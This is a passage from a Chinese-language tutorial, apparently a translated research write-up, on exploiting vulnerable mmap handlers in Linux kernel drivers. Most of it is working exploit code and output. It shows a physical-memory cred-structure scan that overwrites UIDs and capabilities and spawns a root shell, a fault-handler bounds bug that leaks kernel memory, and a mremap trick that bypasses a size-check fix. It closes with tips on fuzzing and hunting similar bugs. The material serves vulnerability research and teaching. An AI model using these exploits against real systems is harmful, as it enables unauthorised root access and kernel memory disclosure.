int stop = getchar();
return 0;
}

我们运行exp可以看到:

1
2
3
4
5
6
7
8
9
i$ ./mwr_client
[+] PID: 5286
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a973f04, credNum: 1 …
[+] Found cred structure! ptr: 0x11b7eeb44, credNum: 7
[+] GOT ROOT!
[+] Scanning loop END

可以看到我们成功get root权限,检查一下这是否是真的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat /proc/5286/status
Name: mwr_client
Umask: 0022
State: S (sleeping)
Tgid: 5286
Ngid: 0
Pid: 5286
PPid: 2939
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 256
Groups: 1000
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

我们可以看到我们的UIDs和GIDs都已经从1000改成了0,我们的exp有效果,现在我们几乎就是一个root用户。

如果我们多次运行exp就可以发现,并不是总是能够获取root。成功率几乎是4/5,也就是80%左右。我们前面提到了我们仅仅映射了部分的物理地址。exp失败的原因在于,20%的情况下我们没能扫描整个内核内存(最后100000000-11fffffff也是system RAM,结构分配到了这里):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# cat /proc/iomem
00000000-00000fff : reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
100000000-11fffffff : System RAM

再次查看物理内存布局就会看到System RAM区域超出了我们映射的可控的范围。经常会有这种情况,我们在面对mmap handler输入检查时值是受限的。例如,我们可能有能力mmap 1GB内存但是却不能控制这以外的物理地址。可以使用一个cred喷射来轻易解决这个问题。我们创建100-1000个子进程,每一个都会检查是否有权限变更。一旦一个子进程获取了root权限就会通知父进程并终止循环扫描。剩下的提权步骤由这个单一子进程完成即可。

我们忽略cred喷射的修改以保持exp代码的整洁,取而代之的,这作为给读者的一个挑战。我们强烈推荐你实现一个cred喷射作为实践并看看这多么的简单有效。

到此,让我们回头去完成exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int main(int argc, char * const * argv)
{
...
if (getuid() == 0)
{
puts("[+] GOT ROOT!");
credIt += 1; //Skip 4 bytes, to get capabilities addr
[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
execl("/bin/sh", "-", (char *)NULL);
puts("[-] Execl failed...");
break;
}
else
...
}
addr++;
}
puts("[+] Scanning loop END");
fflush(stdout);
int stop = getchar();
return 0;
}

上面的代码会覆盖5个capabilities变量并且开启一个交互式的shell。下面是exp的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ ./mwr_client
[+] PID: 5734
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a9840c4, credNum: 1
[+] Found cred structure! ptr: 0x11a984904, credNum: 2
[+] Found cred structure! ptr: 0x11b782f04, credNum: 3
[+] Found cred structure! ptr: 0x11b78d844, credNum: 4
[+] GOT ROOT!
# id
uid=0(root) gid=0(root) groups=0(root),1000(lowpriv)
# cat /proc/self/status
Name: cat
Umask: 0022
State: R (running)
Tgid: 5738
Ngid: 0
Pid: 5738
PPid: 5734
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 64
Groups: 1000
CapInh: ffffffffffffffff
CapPrm: ffffffffffffffff
CapEff: ffffffffffffffff
CapBnd: ffffffffffffffff
CapAmb: ffffffffffffffff
Seccomp: 0

4.3 mmap Handler中fault Handler利用

本例子我们将利用mmap的fault handler。既然我们已经知道了如何利用有漏洞的mmap handler去获取root权限,我们将焦点转移到信息泄露。

这一次我们的驱动只读:

1
2
$ ls -la /dev/MWR_DEVICE
crw-rw-r-- 1 root root 248, 0 Aug 24 12:02 /dev/MWR_DEVICE

使用下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
static struct file_operations fops =
{
.open = dev_open,
.mmap = simple_vma_ops_mmap,
.release = dev_release,
};
int size = 0x1000;
static int dev_open(struct inode *inodep, struct file *filep)
{
...
filep->private_data = kzalloc(size, GFP_KERNEL);
...
return 0;
}
static struct vm_operations_struct simple_remap_vm_ops = {
.open = simple_vma_open,
.close = simple_vma_close,
.fault = simple_vma_fault,
};
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
simple_vma_open(vma);
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
struct page *page = NULL;
unsigned long offset;
printk(KERN_NOTICE "MWR: simple_vma_fault\n");
printk(KERN_NOTICE "MWR: vmf->pgoff: %lx, vma->vm_pgoff: %lx, sum: %lx, PAGE_SHIFT: %x\n", (unsigned long)vmf->pgoff, (unsigned long)vma->vm_pgoff, ((vmf->pgoff << PAGE_SHIFT) + (vma->vm_pgoff << PAGE_SHIFT)), PAGE_SHIFT);
offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma->vm_pgoff << PAGE_SHIFT));
if (offset > PAGE_SIZE << 4)
goto nopage_out;
page = virt_to_page(vma->vm_private_data + offset);
vmf->page = page;
get_page(page);
nopage_out:
return 0;
}

拥有一个只读的驱动意味着我们没有能力去映射可写的内存,我们仅仅能读而已。

我们以分析驱动代码开始,可以看到驱动的open操作,函数为dev_open,它简单的分配了0x1000字节的缓冲区。在simple_vma_ops_mmap中mmap handler可以看到没有任何的安检,一个虚拟内存操作结构体被指派给了需要的内存区域。在该结构体中我们可以找到simple_vma_fault这个fault handler的实现。

simple_vma_fault函数一开始计算了内存页的偏移,此后,它通过此前额外分配的缓冲区(vma->vm_private_data)以及offset变量来找到内存页。最后,找到的内存页被指派给了vmf->page域。这会引起在错误发生时,该page会被映射到虚拟地址。

然而,在页返回之前,有一个安检:

1
2
if (offset > PAGE_SIZE << 4)
goto nopage_out;

上面的检查会查看fault触发时,是否会返回一个超过0x10000的地址,如果是的话,就会禁止对该页的访问。

如果我们检查驱动buffer的size的话,就会看到这个值是小于0x10000的,该值实际上是前面分配的0x1000字节:

1
2
3
4
5
6
7
8
int size = 0x1000;
static int dev_open(struct inode *inodep, struct file *filep)
{
...
filep->private_data = kzalloc(size, GFP_KERNEL);
...
return 0;
}

这就允许一个恶意进程去请求驱动buffer后面的0x9000个字节,泄露内核内存地址。

让我们使用下面的代码来完成驱动的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void hexDump(char *desc, void *addr, int len);
int main(int argc, char * const * argv)
{
int fd = open("/dev/MWR_DEVICE", O_RDONLY);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
printf("[+] Open OK fd: %d\n", fd);
unsigned long size = 0x10000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ, MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("[+] mmap OK addr: %lx\n", addr);
hexDump(NULL, addr, 0x8000); // Dump mapped buffer
int stop = getchar();
return 0;
}

代码看起来和标准的驱动使用方法很像。我们先打开一个设备,映射0x10000字节内存并转储该映射内存(hexDump函数打印十六进制表示的缓冲区到stdout)。

让我们看看exp的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ./mwr_client
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
2000 00 00 00 00 00 00 00 00 08 00 76 97 ae 90 ff ff ..........v.....
2010 08 00 76 97 ae 90 ff ff 18 00 76 97 ae 90 ff ff ..v.......v.....
2020 18 00 76 97 ae 90 ff ff 28 00 76 97 ae 90 ff ff ..v.....(.v.....
2030 28 00 76 97 ae 90 ff ff 00 00 00 00 00 00 00 00 (.v.............
2040 00 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00 ........%.......
2050 00 1c 72 95 ae 90 ff ff 00 00 00 00 00 00 00 00 ..r.............
...

在输出中可以看到,0x2000偏移有一些数据。驱动缓冲区在0x1000处截止所以读超出这个buffer就意味着我们可以成功的泄露内核内存。

更进一步,我们可以看到dmesg的输出中,我们已经成功访问到了不止一页的内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[ 681.740347] MWR: Device has been opened 1 time(s)
[ 681.740438] MWR: Device simple_vma_ops_mmap
[ 681.740440] MWR: Simple VMA open, virt 42424000, phys 0
[ 681.740440] MWR: Device mmap OK
[ 681.740453] MWR: simple_vma_fault
[ 681.740454] MWR: vmf->pgoff: 0, vma->vm_pgoff: 0, sum: 0, PAGE_SHIFT: c
[ 681.741695] MWR: simple_vma_fault
[ 681.741697] MWR: vmf->pgoff: 1, vma->vm_pgoff: 0, sum: 1000, PAGE_SHIFT: c
[ 681.760845] MWR: simple_vma_fault
[ 681.760847] MWR: vmf->pgoff: 2, vma->vm_pgoff: 0, sum: 2000, PAGE_SHIFT: c
[ 681.765431] MWR: simple_vma_fault
[ 681.765433] MWR: vmf->pgoff: 3, vma->vm_pgoff: 0, sum: 3000, PAGE_SHIFT: c
[ 681.775586] MWR: simple_vma_fault
[ 681.775588] MWR: vmf->pgoff: 4, vma->vm_pgoff: 0, sum: 4000, PAGE_SHIFT: c
[ 681.776835] MWR: simple_vma_fault
[ 681.776837] MWR: vmf->pgoff: 5, vma->vm_pgoff: 0, sum: 5000, PAGE_SHIFT: c
[ 681.777991] MWR: simple_vma_fault
[ 681.777992] MWR: vmf->pgoff: 6, vma->vm_pgoff: 0, sum: 6000, PAGE_SHIFT: c
[ 681.779318] MWR: simple_vma_fault
[ 681.779319] MWR: vmf->pgoff: 7, vma->vm_pgoff: 0, sum: 7000, PAGE_SHIFT: c

4.4 mmap Handler中fault Handler的利用 V2

让我们假定开发者引入了前面代码中simple_vma_ops_mmap函数的一个修改。如下面所见,新的代码检查了映射的尺寸是否小于0x1000。理论上,这会阻止前面的exp生效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
unsigned long size = vma->vm_end - vma->vm_start;
printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
simple_vma_open(vma);
if (size > 0x1000)
{
printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

然而,代码依然是可以利用的,尽管我们不能再利用mmap创建一个非常大的映射内存。我们可以分割映射进程成两步:

  • 调用mmap分配0x1000字节
  • 调用mremap分配0x10000字节

这意味着一开始我们创建一个小的0x1000字节的映射,它会顺利的通过安检。此后我们利用mremap增大尺寸。最终,我们可以像此前那样转储内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int main(int argc, char * const * argv)
{
int fd = open("/dev/MWR_DEVICE", O_RDONLY);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
printf("[+] Open OK fd: %d\n", fd);
unsigned long size = 0x1000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ, MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("[+] mmap OK addr: %lx\n", addr);
addr = (unsigned int *)mremap(addr, size, 0x10000, 0);
if (addr == MAP_FAILED)
{
perror("Failed to mremap: ");
close(fd);
return -1;
}
printf("[+] mremap OK addr: %lx\n", addr);
hexDump(NULL, addr, 0x8000);
int stop = getchar();
return 0;
}

我们的exp输出如下。有一次看到了转储的内存内容中包含了本不该独到的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./mwr_client
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] mremap OK addr: 42424000
0000 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
4c00 25 b0 4d c3 00 00 00 00 25 c0 4d c3 00 00 00 00 %.M.....%.M.....
4c10 25 d0 4d c3 00 00 00 00 25 e0 4d c3 00 00 00 00 %.M.....%.M.....
4c20 25 f0 4d c3 00 00 00 00 25 00 4e c3 00 00 00 00 %.M.....%.N.....
4c30 25 10 4e c3 00 00 00 00 00 00 00 00 00 00 00 00 %.N.............
4c40 25 30 4e c3 00 00 00 00 25 40 4e c3 00 00 00 00 %0N.....%@N.....
...

5. 奇技淫巧

5.1 为了胜利而挖掘

通常当分析mmap handler时,我们可以找到一大堆位掩码、位移以及算术操作。这些操作可以使得错过具体的魔数更为容易,这允许一个攻击者绕过输入安检并获取到预料之外的具体内存区域访问权限。有两个值需要我们去挖掘;映射的offset和size。仅有两个值需要挖掘意味着我们可以挖掘该驱动相对快一点,允许我们尝试一个范围的数,确保我们彻底的测试所有可能的边缘情况。

5.2 相同议题的不同函数

本文中我们描述了使用remap_pfn_range函数以及它的fault handler来创建内存映射。然而,这并不是唯一的可以被本方式利用的函数,有一大堆其他的函数在滥用的情况下也会导致内存区域的任意修改。你无法仅通过一个单一函数的使用而保证某个驱动是安全的。其他潜在的有意思的函数可能是:

  • vm_insert_page
  • vm_insert_pfn
  • vm_insert_pfn_prot
  • vm_iomap_memory
  • io_remap_pfn_range
  • remap_vmalloc_range_partial
  • remap_vmalloc_range

不同内核版本中,函数列表不完全一致。

5.3 如何去搜索这一类漏洞?

本文中我们描述了设备驱动在实现mmap handler时的一种漏洞。然而,几乎任何的子系统都实现了一个自定义的mmap handler。proc, sysfs, debugfs, 自定义文件系统, sockets以及任何提供了文件描述符的子系统,它们都可能实现了一个有漏洞的mmap handler。

此外,remap_pfn_range可能被任何系统调用所调用,不只是mmap。你也可以在ioctl的handlers中找到该函数。

文章目录
  1. 1. 内核驱动mmap Handler利用技术
    1. 1.1. 1. 内核驱动简介
    2. 1.2. 2. 内核mmap Handler
      1. 1.2.1. 2.1 简单的mmap Handler
      2. 1.2.2. 空的mmap Handler
      3. 1.2.3. 一个带有vm_operations_struct的mmap Handler
    3. 1.3. 3. 经典mmap Handler议题
      1. 1.3.1. 3.1 用户输入有效性的不足
      2. 1.3.2. 3.2 整数溢出
      3. 1.3.3. 3.3 有符号整型类型
    4. 1.4. 4. 利用mmap Handlers
    5. 1.5. 4.1 原理
      1. 1.5.1. 4.2 基础mmap Handler利用
      2. 1.5.2. 4.3 mmap Handler中fault Handler利用
      3. 1.5.3. 4.4 mmap Handler中fault Handler的利用 V2
    6. 1.6. 5. 奇技淫巧
      1. 1.6.1. 5.1 为了胜利而挖掘
      2. 1.6.2. 5.2 相同议题的不同函数
      3. 1.6.3. 5.3 如何去搜索这一类漏洞?
,